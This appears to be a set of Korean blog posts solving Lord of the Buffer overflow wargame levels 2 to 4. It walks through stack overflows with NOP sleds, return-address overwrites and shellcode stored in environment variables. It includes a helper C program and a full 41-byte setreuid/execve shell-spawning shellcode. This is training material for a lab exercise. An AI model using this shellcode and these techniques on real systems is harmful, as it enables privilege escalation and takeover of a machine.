disas main으로 열고 main+206에 bp를 걸어준다 그리곤 python을 이용해 44바이트 공간과 sfp를 채우고 \xbf 4개넣어서 주소 맞춰주고 \x90 100개정도 넣어준 뒤 쉘코드 넣을자리까지 넣어준다.

 

 

 버퍼가 입력받은 값을 보면 0xbffffcb4부터 쉘코드가 들어가는 것 같다.

시나리오를 짜면 주소들어갈 자리에 0xbffffcb4를 넣고 쉘코드를 넣으면 될꺼같다.

음..?실패..?

 

너무 가까워서 그런가 싶어 당기니 성공ㅎ

 

참고로 널을 아무리 많이 넣어도 0xbffffcb4 이상으로 받아지지 않는듯.

 

'war game > LOB' 카테고리의 다른 글

LOB-level6(check length of argv[1] + egghunter + bufferhunter)  (0) 2019.06.28
LOB-level5(egghunter + bufferhunter)  (0) 2019.06.24
LOB-level3(small buffer + stdin)  (0) 2019.06.09
LOB-level2(small buffer)  (0) 2019.06.09
LOB-level1(simple bof)  (0) 2019.06.09

음 이문제도 level2 와 같은 방식으로 풀면 될 것 같다.

환경변수에 쉘코드 넣고, 주소 찾고,

이런식으로 슥 넣으면 된다.

'war game > LOB' 카테고리의 다른 글

LOB-level5(egghunter + bufferhunter)  (0) 2019.06.24
LOB-level4(egghunter)  (0) 2019.06.13
LOB-level2(small buffer)  (0) 2019.06.09
LOB-level1(simple bof)  (0) 2019.06.09
LOB-password  (0) 2019.06.07

c파일을 보니 level1과 똑같은 취약점이 발생한다는 것을 알 수 있다. 다만 buffer가 몹시 작아서 쉘코드를 그대로 넣기보다 환경변수를 이용해서 문제를 풀어야 할 것 같다.

우선 tmp에 파일을 옮기고, 분석을 시작하겠다.

슥 환경변수를 설정해주고, get파일로 환경변수의 주소를 찾아준다.  0xbfffffff에 가까울 수록 환경변수가 보인다고 한다.

//get.c//
#include  <stdio.h>
int main(int argc, char *argv[])
{
printf("%p\n",getenv(argv[1]));
}

41바이트 쉘코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

EGG의 주소는 0xbffffe6b이다.

버퍼 한번 슥 봐주고

해결

'war game > LOB' 카테고리의 다른 글

LOB-level5(egghunter + bufferhunter)  (0) 2019.06.24
LOB-level4(egghunter)  (0) 2019.06.13
LOB-level3(small buffer + stdin)  (0) 2019.06.09
LOB-level1(simple bof)  (0) 2019.06.09
LOB-password  (0) 2019.06.07

+ Recent posts